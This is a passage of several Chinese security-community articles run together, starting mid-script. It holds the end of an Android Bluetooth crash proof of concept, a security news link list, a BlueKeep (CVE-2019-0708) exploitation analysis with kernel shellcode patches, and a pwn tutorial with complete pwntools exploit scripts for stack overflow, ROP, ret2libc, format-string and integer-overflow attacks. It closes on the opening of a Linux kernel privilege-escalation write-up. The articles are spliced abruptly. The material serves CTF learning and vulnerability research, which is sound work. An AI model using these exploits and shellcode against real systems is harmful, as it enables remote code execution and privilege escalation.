l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags)))
l2cap_loop.finish()
print "The com.android.bluetooth daemon should have crashed."
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: smp01.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
## 结论
漏洞2和漏洞1思想本质上是一致的。
* 相同点：都因为`STREAM_TO_UINT16`宏没有对读入数据进行检验，是否到达数据包中还有足够的数据，导致越界读取，最后泄漏内存数据。
* 不同点：在绕过前面判断后 到达的泄漏函数，漏洞1只向远程对等方法送了第二个从数据包那块读入的uint16_t数据；而漏洞2则向远程对等放发送了两个从数据包那块读入的uint16_t的数据，所以漏洞1可以泄漏2两个字节，漏洞2可以泄漏4个字节
前两个漏洞会影响处理L2CAP协议的代码，并且它们允许远程攻击者（在蓝牙范围内）泄漏属于`com.android.bluetooth`进程的内存内容。这些内存泄露漏洞可能对
**漏洞利用链的早期阶段** 的攻击者有所帮助，甚至可以用来 **检索敏感数据** 。
第三个漏洞是SMP协议实现中的 **越界数组索引错误** ，尽管最有可能使`com.android.bluetooth` **进程崩溃**
，但仍有可能利用它在易受攻击的Android设备上远程执行代码。有趣的是，与两个L2CAP问题不同，此SMP错误并不是解析格式错误的数据包的结果。实际上，可以通过发送格式
**正确的SMP数据包** （包含`SMP_OPCODE_PAIRING_REQ`）来触发它，但是要是通过 **BR / EDR（“经典”蓝牙）传输**
而不是预期的 **BLE（低能耗）传输** 来触发。
总的来说，虽然是两类漏洞，但是问题起因都在于代码上的检验不够完整导致的，使得程序执行到了非预期的情况。
## 参考
<https://blog.quarkslab.com/a-story-about-three-bluetooth-vulnerabilities-in-android.html> | 社区文章 |
# 【知识】9月18日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
官方Python包仓库中存在多款恶意软件库、在Windows中枚举进程，线程和映像加载通知回调例程、针对Flash应用程序的渗透测试、githubscan：GitHub敏感信息扫描工具、Cobalt
Strike over external C2 – beacon home in the most obscure ways、Xdebug: A Tiny
Attack Surface、**
****国内热词（一下内容部分来自：[ http://www.solidot.org/](http://www.solidot.org/) ）****
********
********
PyPI 官方库被发现混入了名字相似的恶意模块
工程师因提供翻墙服务被拘留三天
报道称比特币平台负责人被限制离京
****资讯类：**** ** ******
************
************
通过iCloud和iTunes解锁iPad/iPhone密码
<https://www.facebook.com/groupflexi/videos/1473971595986171/>
**
******
**技术类：** ****
********
pyDHE：一个完整的Python Diffie-Hellman库
<https://github.com/deadPix3l/pyDHE>
在Windows中枚举进程，线程和映像加载通知回调例程
<http://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html>
官方Python包仓库中存在多款恶意软件库
<http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/>
针对Flash应用程序的渗透测试
<https://privsec.blog/penetration-testing-flash-apps-aka-how-to-cheat-at-blackjack/>
Wandering through the Shady Corners of VMware Workstation/Fusion
<https://comsecuris.com/blog/posts/vmware_vgpu_shader_vulnerabilities/>
githubscan：GitHub敏感信息扫描工具
<https://github.com/lianfeng30/githubscan>
Xdebug: A Tiny Attack Surface
<https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>
挖漏洞的高级方法
<http://jackson.thuraisamy.me/finding-vulnerabilities.html>
解码器改进的Burp Suite插件发布
<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blog/2017/september/decoder-improved-burp-suite-plugin-release-part-1/>
通过提升.NET应用实现UAC绕过
<https://offsec.provadys.com/UAC-bypass-dotnet.html>
LaZagne：浏览器密码凭证获取
<https://github.com/AlessandroZ/LaZagne>
Cobalt Strike over external C2 – beacon home in the most obscure ways
<https://outflank.nl/blog/2017/09/17/blogpost-cobalt-strike-over-external-c2-beacon-home-in-the-most-obscure-ways/>
CVE-2016-0040：Privilege Escalation Exploit For WMI Receive Notification
Vulnerability (x86-64)
<https://github.com/de7ec7ed/CVE-2016-0040> | 社区文章 |
**作者：yyjb
原文链接：<http://noahblog.360.cn/cve-2019-0708lou-dong-zai-server2008r2shang-de-li-yong-fen-xi/>**
## 分析背景
`cve-2019-0708`是2019年一个rdp协议漏洞，虽然此漏洞只存在于较低版本的windows系统上，但仍有一部分用户使用较早版本的系统部署服务器（如Win
Server
2008等），该漏洞仍有较大隐患。在此漏洞发布补丁之后不久，msf上即出现公开的可利用代码；但msf的利用代码似乎只针对win7，如果想要在Win
Server 2008 R2上利用成功的话，则需要事先在目标机上手动设置注册表项。
在我们实际的渗透测试过程中，发现有部分Win Server
2008服务器只更新了永恒之蓝补丁，而没有修复cve-2019-0708。因此，我们尝试是否可以在修补过永恒之蓝的Win Server 2008
R2上实现一个更具有可行性的cve-2019-0708 EXP。
由于该漏洞已有大量的详细分析和利用代码，因此本文对漏洞原理和公开利用不做赘述。
## 分析过程
我们分析了msf的exp代码，发现公开的exp主要是利用大量Client
Name内核对象布局内核池。这主要有两个目的，一是覆盖漏洞触发导致`MS_T120Channel`对象释放后的内存，构造伪造的Channel对象；二是直接将最终的的shellcode布局到内核池。然后通过触发`IcaChannelInputInternal`中Channel对象在其0x100偏移处的虚函数指针引用来达到代码执行的目的。如图1：
图1
而这种利用方式并不适用于server2008r2。我们分析了server2008r2的崩溃情况，发现引起崩溃的原因是第一步，即无法使用Client
Name对象伪造channel对象，从而布局失败。这是因为在默认设置下，server 2008 r2的 RDPSND/MS_T120
channel对象不能接收客户端Client Name对象的分片数据。根据MSF的说明（见图2），只有发送至 _RDPSND/MS_T120_
的分片信息才会被正确处理；win7以上的系统不支持 _MS_T120_ ，而 _RDPSND_ 在server 2008 r2上并不是默认开启的 _。_
因此，我们需要寻找其他可以伪造channel对象的方式。
图2 MSF利用代码中针对EXP的说明
在此期间，我们阅读了几篇详细分析cve-2019-0708的文章（见参考链接），结合之前的调试分析经历，我们发现的确可以利用RDPDR
的channelID（去掉MSF中对rdp_on_core_client_id_confirm函数的target_channel_id加一的操作即可）使Client
Name成功填充MS_T120 channel对象，但使用RDPDR 有一个缺陷：RDPDR Client
Name对象只能申请有限的次数，基本上只能完成`MS_T120`对象的伪造占用并触发虚函数任意指针执行，无法完成后续的任意地址shellcode布局。
图3
我们再次研究了Unit
42发布的[报告](https://unit42.paloaltonetworks.com/cve-2019-0708-bluekeep/)，他们利用之前发布的[文章](https://unit42.paloaltonetworks.com/cve-2019-0708-bluekeep/)中提到的`Refresh
Rect PDU`对象来完成内核池的大范围布局（如图，注：需要在`RDP Connection
Sequence`之后才能发送这个结构）。虽然这种内存布局方式每次只能控制8个字节，但作者利用了一个十分巧妙的方式，最终在32位系统上完成漏洞利用。
图4
在解释这种巧妙利用之前，我们需要补充此漏洞目前的利用思路：得到一个任意指针执行的机会后，跳转到该指针指向的地址中，之后开始执行代码。但在内核中，我们能够控制的可预测地址只有这8个字节。虽然此时其中一个寄存器的固定偏移上保存有一个可以控制的伪造对象地址，但至少需要一条语句跳转过去。
而文章作者就是利用了在32位系统上地址长度只有4字节的特性，以及一条极短的汇编语句`add bl,al; jmp
ebx`，这两个功能的代码合起来刚好在8字节的代码中完成。之后通过伪造channel对象里面的第二阶段跳转代码再次跳转到最后的shellcode上。（具体参考Unite
42的[报告](https://unit42.paloaltonetworks.com/cve-2019-0708-bluekeep/)）
我们尝试在64位系统上复现这种方法。通过阅读微软对`Refresh Rect
PDU`描述的官方文档以及msf的rdp.rb文件中对rdp协议的详细注释，我们了解到，申请`Refresh Rect
PDU`对象的次数很多，能够满足内核池布局大小的需求，但在之后多次调试分析后发现，这种方法在64位系统上的实现有一些问题：在64位系统上，仅地址长度就达到了8字节。我们曾经考虑了一种更极端的方式，将内核地址低位上的可变的几位复用为跳转语句的一部分，但由于内核池地址本身的大小范围，这里最多控制低位上的7位，即：
#### 0xfffffa801“8c08000“ 7位可控
另外，RDPDR Client
Name对象的布局的可控数据位置本身也是固定的（即其中最低的两位也是固定的），这样我们就只有更少的5位来实现第二阶段的shellcode跳转，即：
#### “8c080”0xfffffa801“8c080”00 5位可控,
由于伪造的channel对象中真正可用于跳转的地址和寄存器之间仍有计算关系，所以这种方法不可行，需要考虑其他的思路。
把利用的条件和思路设置得更宽泛一些，我们想到，如果目前rdp协议暂时不能找到这样合适的内核池布局方式，那其他比较容易获取的也比较通用的协议呢？结合以前分析过的协议类的多种代码执行漏洞，smb中有一个用得比较多的内核池布局方式`srvnet`对象。
无论是永恒之蓝还是之后的`SMBGhost`都使用到`srvnet`对象进行内存布局。最容易的方法可以借助于msf中`ms17-010`的代码，通过修改代码中对`make_smb2_payload_headers_packet`和`make_smb2_payload_body_packet`
大小和数据的控制，能够比较容易地获取一种稳定的内核池布局方式（相关代码参考图5）。
图5
由于单个`Client Name Request`所申请的大小不足以存放一个完整的shellcode，并且如上面提到的，也不能申请到足够多的`RDPDR
Client
Name`来布局内核池空间，所以我们选择将最终的shellcode直接布局到`srvnet`申请的内核池结构中，而不是将其当作一个跳板，这样也简化了整个漏洞的利用过程。
最后需要说明一下shellcode的调试。`ms17-010`中的shellcode以及0708中的shellcode都有一部分是根据实际需求定制的，不能直接使用。0708中的shellcode受限于RDPDR
Client
Name大小的限制，需要把shellcode的内核模块和用户层模块分为两个部分，每部分shellcode头部还带有自动搜索另一部分shellcode的代码。为了方便起见，我们直接使用`ms17-010`中的shellcode，其中只需要修改一处用来保存进程信息对象结构的固定偏移地址。之后，我们仍需要在shellcode中添加[文章](https://unit42.paloaltonetworks.com/cve-2019-0708-bluekeep/)中安全跳过IcaChannelInputInternal函数剩余部分可能崩溃的代码（参考
** _*Patch Kernel to Avoid Crash*_** 章节），即可使整个利用正常工作。64位中添加的修补代码如下：
mov qword ptr[rbx+108h],0
mov rax,qword ptr[rsp]
add rax,440h
mov qword ptr[rsp],rax
mov r11,qword ptr gs:[188h]
add word ptr [r11+1C4h],1
## 总结
本篇文章主要是分享我们在分析CVE-2019-0708漏洞利用的过程中整合现有的一些方法和技术去解决具体实际问题的思路。但这种方法也会有一些限制，例如既然使用了smb协议中的一些内核对布局方式，则前提是需要目标开启了smb端口。另外，不同虚拟化平台下的目标内核基址需要预测来达到使exp通用的问题仍没有解决，但由于这个漏洞是2019年的，从到目前为止众多已经修补过的rdp信息泄露漏洞中泄露一个任意内核对象地址，应该不会是太难的一件事。
综上，我们建议用户尽量使用最新的操作系统来保证系统安全性，如果的确出于某些原因要考虑较早版本且不受微软安全更新保护的系统，也尽量将补丁打全，至少可以降低攻击者攻击成功的方法和机会。
## 参考链接
* [Unite 42] [Exploitation of Windows CVE-2019-0708 (BlueKeep): Three Ways to Write Data into Kernel with RDP PDU](https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/)
* [Unite 42] [Exploitation of Windows RDP Vulnerability CVE-2019-0708 (BlueKeep): Get RCE with System Privilege Using Refresh Rect PDU and RDPDR Client Name Request PDU](https://unit42.paloaltonetworks.com/cve-2019-0708-bluekeep/)
* * * | 社区文章 |
**作者：b1cc@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/1KoRr53tNryUKT4P1r7n6A>**
本文是笔者初学pwn的知识梳理，如有错误之处，敬请斧正。
# **栈溢出漏洞**
**原理**
栈是一种后进先出的数据结构。在调用函数的时候，都会伴随着函数栈帧的开辟和还原（也称平栈）。栈结构示意图如下（以32位程序为例）：
如图所示，栈空间是从高地址向低地址增长的。但是，若函数中用到了数组作为局部变量时，向数组的赋值时的增长方向是从低地址到高地址的，与栈的增长方向相反。若对未限制数组的赋值边界，则可能对数组进行恶意的越界写入，便会把栈中的数据覆盖，造成栈溢出漏洞。常用的造成栈溢出漏洞的函数有：`scanf`,`gets`,`strcpy`,`strcat`,`sprintf`等。
如果对覆盖栈的内容进行精心构造，就可以在返回地址的位置填入我们希望函数返回的位置，从而劫持程序的执行。由于在编写栈利用 shellcode
过程中都需要用到`ret`指令，所以这样的利用方式被成为`ROP`。
## **面对返回编程**
`ROP(Return-oriented programming)`是指面向返回编程。在32位系统的汇编语言中，`ret`相当于`pop
EIP`，即将栈顶的数据赋值给 EIP，并从栈弹出。所以如果控制栈中数据，是可以控制程序的执行流的。由于 NX 保护让我们无法直接执行栈上的
shellcode，那么就可以考虑在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。初级的 ROP 技术包括
ret2text，ret2shellcode，ret2syscall，ret2libc。
### **ret2text**
`ret2text`是指返回到代码段执行已有的代码。在 pwn
题中这种情况通常出现在程序里已经有`system("/bin/sh")`或`system("cat
flag")`。需要做的就是把这些调用的地址覆盖到返回地址处即可。
下面使用攻防世界中的 level0 题目作为例子进行解释。
checksec 指令查看程序的保护情况，有 NX 保护（No-eXecute，即数据不可执行保护）。考虑使用 ROP 技术进行利用。
漏洞代码：
可以看到，`read`函数可以读取0x200字节存入缓冲区，但是缓冲区只有0x80字节，可造成越界写入。
system 函数：
使用 pwndgb 插件的 cyclic 指令确定出返回的偏移为
136，所以构造填充字符大小为136个字节，后面紧接的便是返回的地址。控制这个返回的地址即可控制程序的执行流执行到我们指定的 system 函数。
EXP如下：
from pwn import *
r = remote("111.200.241.244", 57216)
payload = 'A' * 136 + p64(0x00400596)
r.sendlineafter("Hello, World\n", payload)
r.interactive()
在本地调试时执行脚本后可以看到，在执行`vulnerable_function`执行返回时， 0x88(136)
的位置已经被修改为`system`函数的地址。
**ret2shellcode**
如果 pwn 题中没有提供`system`函数，我们可以自己编写 shellcode 来执行相关 system 函数。
在没有 NX 保护的情况下，可以直接将函数的返回地址覆盖为 shellcode 的地址，在函数返回时控制程序执行流到 shellcode 出执行。被覆盖
shellcode 后的栈空间的形态如下图所示（图中只展示一种 shellcode 的位置，但实际上可以根据具体情况选择）：
其中 padding 的长度可以使用 pwndbg 插件 中的 `cyclic`或者 peda 插件
`pattern`指令生成字符串模板并结合动态调试观察栈来确定。在 pwn 题目中，我们一般可以通过找到`system`函数地址，通过 shellcode
调用执行，就可以拿到 flag。所以在写 shellcode 过程中，我们按照 linux
系统调用的方式调用`system`函数的底层的`sys_execve`函数，传入`/bin/sh`作为参数即可。shellcode 可以使用
pwntools 工具编写，若需要更精简或特殊定制的
shellcode，也可以自己编写。具体的编写方式可以参考博客`https://www.cxyzjd.com/article/A951860555/110936441`。需注意的是，在生成
shellcode 之后需要进行字符的填充，使其保证具有足够的字节数覆盖到返回地址处。
我们用以下例子进行演示说明：
#include<stdio.h>
void func(){
asm("jmp *%rsp");
}
int main()
{
char buf[200];
printf("what do you want? ");
gets(buf);
puts(buf);
return 0;
}
编译注意禁用所有保护：
gcc -no-pie -fno-stack-protector -zexecstack -o ret2shellcode ret2shellcode.c
从源码中可以看出在栈的`buf`字符数组处有溢出，并且有后门指令进行利用。然后设计 payload 如下面 exp 所示，目的是将 jmp_rsp
的指令填充到 main 函数返回地址中，从而控制程序执行。`"A" * 0xd8`是填充字符，目的是为了对齐 shellcode 到 rsp 的地址上。
exp：
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = process("./ret2shellcode")
elf = ELF("./ret2shellcode")
jmp_esp = elf.search(asm('jmp rsp')).next()
shellcode = asm(shellcraft.sh())
payload = "A" * 0xd8 + p64(jmp_esp) + shellcode
p.sendline(payload)
p.interactive()
**ret2syscall**
在`ret2shellcode`的例子中，若开始了 NX 保护，写入到栈中的 shellcode
将不可执行。在这种情况下，我们可以尝试使用`ret2syscall`的方法。`ret2syscall`是指通过收集带有`ret`指令的
gadgets(指令片段) 拼接成我们所需要的 shellcode。在此先贴出32位下的调用`execve("/bin/sh",NULL,NULL)`的
shellcode（涉及 Linux 系统调用方式不清楚可自行搜索）：
// 字符串：/bin//sh
push 0x68
push 0x732f2f2f
push 0x6e69622f
// ebx ecx edx 传参
mov ebx,esp
xor ecx,ecx
xor edx,edx
// eax = 系统调用号
push 11
pop eax
// Linux 系统调用
int 0x80
然后我们可以通过`ROPgadget`命令来找到程序中是否有对应上面指令的 gadgets：
ROPgadget --binary ./ret2syscall --string /bin/sh
ROPgadget --binary ./ret2syscall --only "pop|pop|pop|ret"|grep "edx"|grep "ebx"|grep "ecx"
ROPgadget --binary ./ret2syscall --only "pop|ret"|grep eax
ROPgadget --binary ./ret2syscall --only "int"|grep "0x80"
我们以 Github 上`ctf-wiki`项目中的题目来举例，项目地址是`https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall`。
源码如下，明显的栈溢出漏洞：
#include <stdio.h>
#include <stdlib.h>
char *shell = "/bin/sh";
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("This time, no system() and NO SHELLCODE!!!\n");
printf("What do you plan to do?\n");
gets(buf);
return 0;
}
查看保护发现只有 NX 保护，手动查看对应 gadgets 的地址：
利用思路：将收集到的 gadgets 按照顺序组合成 payload。payload 发送后缓冲区的情况如图所示，箭头指向是指程序以 ret 导向的执行流。
最终EXP如下：
from pwn import *
p = process("./ret2syscall")
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
offset = 112
payload=flat(['a'*offset, pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, bin_sh,int_0x80])
p.sendline(payload)
p.interactive()
**ret2libc**
如果程序中没有后门，开启了 NX 保护，没有足够的 gadgets 来构造
shellcode，那么以上的方法都没办法使用，可以使用一种更复杂，限制更小的利用方式`ret2libc`。`ret2libc`是指将程序返回
libc，直接调用 libc 的函数。所以首先需要获取到 libc 中函数的地址。同一版本 libc 的偏移相对 libc 基址是确定的。如果需要调用
libc 的函数，就需要确定 libc 的基址和函数偏移。函数偏移可以通过在文件中的偏移得出，知道了 libc 版本则可以认为是已知的。但是 libc
的加载基址是随机加载的，所以需要先确定 libc 的加载基址。
获取 libc 的加载基址的方法：从程序 got 表中获取到函数的实时地址，减去相应版本的 libc
中函数在文件中的偏移，即可知道libc的基址（这里涉及PLT表和GOT表的相关知识，可以查看`https://zhuanlan.zhihu.com/p/130271689`了解）。
因此，我们的思路是，只需要泄露出一个函数的地址，就通过`LibcSearcher(https://github.com/lieanu/LibcSearcher)`项目知道对应的
libc 版本。然后计算某个函数的实时地址和对应 libc 中的这个函数地址的偏移，可以计算出 libc 加载基址。通过 libc
基址，加上需要调用的函数（通常为`system`函数）在 libc 中的偏移，就可以知道当前所需函数的地址。
以攻防世界题目 pwn-100 进行举例说明：
程序分析：read 函数可以导致栈溢出，只有读取到200个字符才会退出循环。但是缓冲区是只有64字节的。
利用思路：利用`read`函数的栈溢出漏洞，调用到`puts`函数将`read`函数的 got
地址泄露出来。接着将程序重新导回到`main`函数重新执行，制造二次溢出。获取到`read`的 got
地址之后，即可使用`LibcSearcher`项目获取到 libc 的版本。获取到 libc
版本之后通过计算得出`system`函数的地址。接着二次溢出时就可以调用`system`函数获取到 shell。
EXP如下：
from pwn import *
from LibcSearcher import *
p = remote("111.200.241.244","64745")
elf = ELF('/mnt/hgfs/pwn-100')
context.log_level='debug'
addr_pop_rdi = 0x400763
addr_main = 0x4006B8
# 用于获取 read 的 got 表地址，相当于调用 puts(elf.got['read'])，然后输出出来，并重新启动程序
payload = 'A' * 72 + p64(addr_pop_rdi) + p64(elf.got['read']) + p64(elf.symbols['puts']) + p64(addr_main) + 'A' * 96
p.send(payload)
p.recvuntil('\x0a')
# 获取返回地址
addr_read = p.recv()[:-1]
addr_read = u64(addr_read.ljust(8,'\x00'))
# 获取 libc 中的 system 中的函数
libc = LibcSearcher('read',addr_read)
addr_base = addr_read - libc.dump('read')
addr_sys = addr_base + libc.dump('system')
addr_sh = addr_base + libc.dump('str_bin_sh')
payload = 'A' * 72 + p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys) + p64(addr_main) + 'A' * 96
p.send(payload)
p.interactive()
# **格式化字符串漏洞**
**原理**
格式化字符串函数是指一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数。C语言中使用到格式化字符串的输出函数主要有`printf
fprintf sprintf vprintf vfprint vsprintf` 等。以`printf`函数为例，介绍格式化字符串漏洞的原理及利用。
`printf`函数的声明如下：
intprintf ( constchar*format, ... );
`printf`是一个变参函数，其实第一个参数就是格式化字符串，后面作为传入的参数将会根据格式化字符串的形式进行不同方式的解析并输出。其中在`format`中可以包含以转换指示符`%`为开头的格式化标签(format
specifiers) ，格式化标签可以被后面传入的附加参数的值替换，并按需求进行格式化。格式化标签的使用形式是：
%[flags][width][.precision][length]specifier
这里主要介绍 pwn 中常用到的转换指示符：
指示符 | 输出格式
---|---
%d | 十进制整型
%u | 十进制无符号整型
%x | 十六进制无符号整型
%p | 指针地址
%s | 字符串形式
%n | 无内容输出，但是会将已经输出的字节数写入到传入的指针指向的地址
正常调用函数的情况下，在格式化字符串中包含的指示符数量`%`，应该与后面传入参数的数量相等。在格式化字符串匹配参数时，会按照调用函数的传参顺序逐一匹配。
我们可以通过观察调用函数时栈的情况来了解格式化字符串中指示符和其他参数的对应情况。
source.c ：
#include <stdio.h>
void main(){
printf("%x\n%x\n%x\n%x\n%x\n%x\n%3$x\n",
0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x55555555, 0x66666666);
}
32位程序的传参情况如下：
输出：
11111111
22222222
33333333
44444444
55555555
66666666
33333333
32位情况下，参数有栈传递，需格式化输出的参数都在存在在栈空间和格式化字符串相邻。这里介绍`%3$x`，表示输出格式化字符串后面的第三个参数。
64位程序的传参情况：
输出结果同32位程序。
得出结论：格式化字符串存放在`rdi`寄存器中，格式化字符串后的前五个参数对应存放在 `rsi rdx rcx r8
r9`，第六个之后的参数会入栈，以此类推。
在非正常调用格式化输出函数的情况下，会出现以下的代码：
voidmain(){
char* str = NULL;
scanf("%s",str);
printf(str);
}
这样直接将格式化字符串暴露出来，可以通过构造特定形式的输入字符串达到泄露栈上信息和任意修改内存的效果。
**利用1：泄露信息**
向程序输入如`%x%x%x%x%x%x`便可获取到栈帧中并不属于`printf`函数的栈数据。如果计算好偏移，创建的可以获取到的信息有：数据的存放地址、函数地址、canary值等。
通过攻防世界题 Mary_Morton 的利用可以通过格式化字符串漏洞进行`canary`保护的绕过。关于 canary 保护的介绍可以查看 CTF-Wiki 的文章：`https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/`
查看保护：
主要逻辑：
可以发现有一个格式化字符串漏洞：
还有一个栈溢出漏洞：
因为有 canary 保护，栈溢出漏洞无法直接使用填充字符覆盖到返回地址，需要绕过 canary 保护。在此可以通过格式化字符串漏洞泄露 canary
值，然后在 shellcode 中伪造 canary 值进行绕过。
在调用`printf`之前下断点，断下来后查看栈空间如下图。可以看到 canary 在栈空间偏移 0x11
个参数的位置，由于是64位的程序，加上6个寄存器传参，canary 的位置距离第一个参数偏移是
23，所以构造传给`printf`的参数为`"%23$p"`。泄露出 canary 之后用于构造栈溢出的 shellcode，达到绕过的效果。
EXP如下：
from pwn import *
p = remote("111.200.241.244",51032)
p.sendlineafter("3. Exit the battle",'2')
payload1 = '%23$p'
p.sendline(payload1)
p.recvuntil('0x')
canary = int(p.recv()[:16],16)
print "output: " + str(canary)
canary_offset = 0x88
ret_offset = 0x98
get_flag_fun = 0x00000000004008DA
payload2 = canary_offset * 'a' + p64(canary) + (ret_offset-canary_offset-8)*'a' + p64(get_flag_fun)
p.sendlineafter("3. Exit the battle","1")
p.sendline(payload2)
p.interactive()
**利用2：修改内存**
可以通过攻防世界的一道 pwn 练习题-实时数据检测来了解。
题目关键逻辑如下：
大概逻辑是，判断存放在内存中 key 的值与 35795746 进行对比，如果相等则直接可以 get shell，但是正常逻辑下，key
是一个不受输入影响的值。但是可以发现`imagemagic`函数中出现在格式化漏洞，题目设计得恰好可以通过利用这漏洞进行对 key 的修改。查看`rip
== call printf 语句的地址`时的栈，可以看到 key 的地址在离格式化字符串偏移为 16 的位置上。所以给 printf
传递的格式化字符串的值为`"%35795746x%16$n","0x0804A048"`，指的是将一个十六进制数以 35795746
个字节的方式输出，输出的 35795746 个字节数写入到 `0x0804A048`指向的地址，即 key 的地址。从而达到了对 key 值进行修改的目的。
exp 如下：
from pwn import *
p = remote("111.200.241.244",48715)
key_addr = 0x0804A048
payload = '%35795746x%16$n\x00' + p32(0x0804A048)
p.sendline(payload)
p.interactive()
# **整数溢出漏洞**
**原理**
整数溢出是指：在计算机编程中，当算术运算试图创建一个超出可以用给定位数表示的范围（高于最大值或低于可表示的最小值）的数值时，就会发生整数溢出。了解整数溢出，需先了解整型数据在内存中的存储形式。
下表列出C语言中个整型数据的数值范围和分配的内存字节数（与编译器相关，以下是64位的值）：
类型说明符 | 数值范围 | 字节数
---|---|---
int | -32768~32767 (0x80000000~0x7fffffff) | 4
unsigned int | 0~4294967295 (0~0xffffffff) | 4
short int | -32768~32767 (0x8000~0x7ffff) | 2
unsigned short int | 0~65535 (0~0xffff) | 2
long int | -2147483648~2147483647 (0x8000000000000000~0x7fffffffffffffff) | 8
unsigned long | 0~4294967295 (0~0xffffffffffffffff) | 8
整数溢出的利用因为只能改变固定字节的输入，所以无法造成代码执行的效果。整数溢出漏洞需要配合程序的另一处的缺陷，才能达到利用的目的。通过输入能控制的程序中的数值（通常为输入的字符串的长度），用于处理与内存操作相关的限制或界限，便可能通过控制数值，设计缓冲区溢出，达到控制程序执行流程。笔者总结相关造成溢出的原因主要是
**对数值运算结果范围的错估** 和 **存在缺陷的类型转换** 。
《CTF竞赛权威指南》中，将整数的异常情况分为三种：溢出，回绕和截断。有符号整数发生的是溢出，对应字节数的有符号整数，最大值 + 1，会成为最小值， 最小值
-1 会成为最大值，此种情况可能绕过`>0 或 <0`的检测；无符号整数发生的是回绕，最大值 +1 变为0，最小值 -1
变为最大值；截断则出现在将运算结果赋值给不恰当大小的整数数据类型和不当的类型转换的情况下。
**利用**
下面以攻防世界中题目 int_overflow 为例介绍整数溢出漏洞的利用。主要逻辑如下：
login 函数
check_passwd 函数
从`main`函数可以看出，程序需要输入不超过19字节的`username`
和不超过199字节的`passwd`，进入`check_passwd`函数对`passwd`进行检查和保存。在通过`strlen`求输入字符串函数时，用了`byte`类型来接收返回值。`strlen`函数的返回值类型是`size_t`，`size_t`是`sizeof`关键字的返回值类型。一般在32位系统下是4字节的无符号整型，64位系统下是8字节的无符号整型。这里存在从`size_t`到`byte`类型的整型隐式转换。汇编上表示就是通过直接截取了`al`寄存器的值来接收`strlen`的返回值。结合前面限定的长度小于
0x199 个字符的限定，只需要保证最后一个字节大于3并小于8，那么任何一个长度大于 0x103 且小于 0x108
的字符串都可以非法绕过`strcpy`的长度检测。`strcpy`的目标缓冲区大小为11，通过构造的恶意长度的字符串足够可以造成栈溢出，之后便可通过覆盖返回地址达到对程序的控制。exp
如下所示：
frompwnimport*
p=remote('111.200.241.244',52212)
p.sendlineafter("choice:",'1')
p.sendlineafter("username:","bbb")
system_addr = 0x8048699
cat_flag = 0x08048960
payload = 'a'*24 + p32(system_addr) + p32(cat_flag) + p32(0xbbbbbbbb) + 'a' * (0x104-24-4*2)
p.sendlineafter("passwd:",payload)
p.interactive()
# **结语**
一入 pwn
门深似海，感谢`references`中的资源作者的分享，还有网上关于分析pwn的帖子，让我的学习少走不少弯路。因此，笔者把学习过程中的知识粗做整理，希望对初学者有所帮助，如有错误之处，敬请斧正。
# **参考资料**
《CTF竞赛权威指南》，杨超
看雪课程：《零基础入门pwn》
<https://github.com/ctf-wiki>
<https://ctf-wiki.org/pwn/linux/user-mode/environment/>
<https://cs155.stanford.edu/papers/formatstring-1.2.pdf>
* * * | 社区文章 |
# CVE-2021-22555 2字节堆溢出写0漏洞提权分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**影响版本** ：Linux v2.6.19-rc1~v5.12-rc7 v5.12-rc8已修补，漏洞存在了15年，评分7.8。 已修复的版本有
5.12，5.10.31, 5.4.113, 4.19.188, 4.14.231, 4.9.267, 4.4.267。
由syzkaller发现，参见[crash现场](https://github.com/google/security-research/security/advisories/GHSA-xxx5-8mvq-3528)。
**测试版本** ：Linux-5.11.14 [exploit及测试环境下载地址](https://github.com/bsauce/kernel-exploit-factory)—<https://github.com/bsauce/kernel-exploit-factory>
**编译选项** ：所有 `CONFIG_IP_NF_**` 和 `CONFIG_NETFILTER_**` 相关的选项。
CONFIG_USER_NS=y
CONFIG_NET_NS=y
CONFIG_COMPAT=y
CONFIG_IP_NF_IPTABLES=y // /net/ipv4/netfilter/ip_tables.c
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_MANGLE=y
CONFIG_IP_NF_NAT=y
CONFIG_IP_NF_RAW=y
CONFIG_IP_NF_SECURITY=y
CONFIG_IP_NF_**=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_NETFILTER_XTABLES=y // /net/netfilter/x_tables.c
CONFIG_NETFILTER_XT_MATCH_U32=y
CONFIG_NETFILTER_**=y
在编译时将`.config`中的`CONFIG_E1000`和`CONFIG_E1000E`，变更为=y。[参考](https://blog.csdn.net/qq_16097611/article/details/104965045)
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.11.14.tar.xz
$ tar -xvf linux-5.11.14.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。
**漏洞描述** ：`net/netfilter/x_tables.c` 中 `Netfilter` 模块的`ip_tables`子模块，
